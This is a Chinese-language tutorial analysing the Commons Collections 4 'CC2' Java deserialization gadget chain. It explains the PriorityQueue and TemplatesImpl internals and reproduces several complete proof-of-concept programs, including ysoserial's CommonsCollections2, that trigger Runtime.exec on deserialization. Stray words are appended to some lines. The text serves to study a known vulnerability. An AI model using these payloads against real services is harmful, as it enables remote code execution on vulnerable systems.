PriorityQueue() 使用默认的初始容量(11)建立一个 PriorityQueue,并根据其天然顺序对元素进行排序。 PriorityQueue(int initialCapacity) 使用指定的初始容量建立一个 PriorityQueue,并根据其天然顺序对元素进行排序。
常见的方法:html
add(E e) 将指定的元素插入此优先级队列 clear() 今后优先级队列中移除全部元素。 comparator() 返回用来对此队列中的元素进行排序的比较器;若是此队列根据其元素的天然顺序进行排序,则返回 null contains(Object o) 若是此队列包含指定的元素,则返回 true。 iterator() 返回在此队列中的元素上进行迭代的迭代器。 offer(E e) 将指定的元素插入此优先级队列 peek() 获取但不移除此队列的头;若是此队列为空,则返回 null。 poll() 获取并移除此队列的头,若是此队列为空,则返回 null。 remove(Object o) 今后队列中移除指定元素的单个实例(若是存在)。 size() 返回此 collection 中的元素数。 toArray() 返回一个包含此队列全部元素的数组。
getDeclaredField是class超类的一个方法。该方法用来获取类中或接口中已经存在的一个字段,也就是成员变量。返回的是一个field对象java
field 经常使用的方法apache
set 将指定对象参数上的此 Field对象表示的字段设置为指定的新值
TransformingComparator
是一个修饰器,和CC1中的ChainedTransformer
相似。api
查看一下该类的compare
方法,compare
方法会去调用transformer
的transform
方法,这不就是回到了cc1的反序列化链了嘛。
数组
仍是先看调用链app
Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
能够看到后面3个链和cc1是同样的。那咱们只分析前半段就行了。dom
首先来看PriorityQueue#readObject(),这里的queue[i]的值是由readObject获得的,也就是说在writeObject处写入了对应的内容:
也就是说咱们能够经过反射来设置queue[i]的值来达到控制queue[i]内容的目的。
readobject中又调用了heapify方法,这里的queue[i]是咱们可控的。heapify方法中又调用了siftDown方法,
siftdown中的的x是咱们可控的,跟入第一个siftDownUsingComparator:
comparator.compare(x, (E) c) 这里的x是咱们可控的
cc2的gadget中使用了TransformingComparator#compare来触发后续链,看一下这个方法,能够发现,这里对this.transformer调用了transform方法,若是这个this.transformer可控的话,就能够触发cc1中的后半段链。
函数
package ysoserial.payloads; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; public class TestCC2 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); TransformingComparator comparator = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(1); queue.add(1); queue.add(2); Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");//反射获取PriorityQueue类的comparator字段 field.setAccessible(true); field.set(queue,comparator);//queue的comparator字段值为comparator try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } }
关于这儿要使用add添加2个值进去,目的是为了让其size>1,只有size>1才能使的i>0,才能进入siftDown这个方法中
而add方法中调用了offer方法this
offer中又调用了siftup方法code
这里须要保证comparator的值为null,才可以正常的添加元素进queue,若是咱们在add以前使comparator为咱们构造好的TransformingComparator,就会报这么一个错误:
回到CC2的gadget的TemplatesImpl类,在newTransformer
方法中调用了getTransletInstance
方法
getTransletInstance
方法中重点的是圈起来的两行代码
首先先跟进第一行代码中的defineTransletClasses方法,这里经过loader.defineClass的方式将bytecodes还原为Class,
接着在外面又调用了_class[_transletIndex].newInstance方法实例化还原的Class,也就是说,咱们能够经过TemplatesImpl#newTransformer方法来执行恶意类
import javassist.*; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.ClassLoader; import java.lang.reflect.Field; public class TestCC2 { public static void createPseson() throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // 建立 static 代码块,并插入代码 cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); // 写入.class 文件 byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", targetByteCodes); // 进入 defineTransletClasses() 方法须要的条件 setFieldValue(templates, "_name", "name" + System.nanoTime()); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } public static void main(String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
最后我理解的gadget链
ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses newInstance() Runtime.exec()
yso中cc2的gadget链
package ysoserial.payloads; import java.util.PriorityQueue; import java.util.Queue; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.apache.commons:commons-collections4:4.0" }) @Authors({ Authors.FROHOFF }) public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { public Queue<Object> getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // stub data for replacement later queue.add(1); queue.add(1); // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1; return queue; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } }
其余大哥的poc
package ysoserial.payloads; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class TestCC2test { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//返回默认的类池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面建立的CommonsCollections22222222222类的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一个空的类初始化,设置构造函数主体为runtime byte[] bytes=payload.toBytecode();//转换为byte数组 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射建立TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段 field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象 PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量建立一个 PriorityQueue,并根据其天然顺序对元素进行排序。 queue.add(1);//添加数字1插入此优先级队列 queue.add(1);//添加数字1插入此优先级队列 Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段 field2.setAccessible(true);//暴力反射 field2.set(queue,comparator);//设置queue的comparator字段值为comparator Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段 field3.setAccessible(true);//暴力反射 field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject(); } }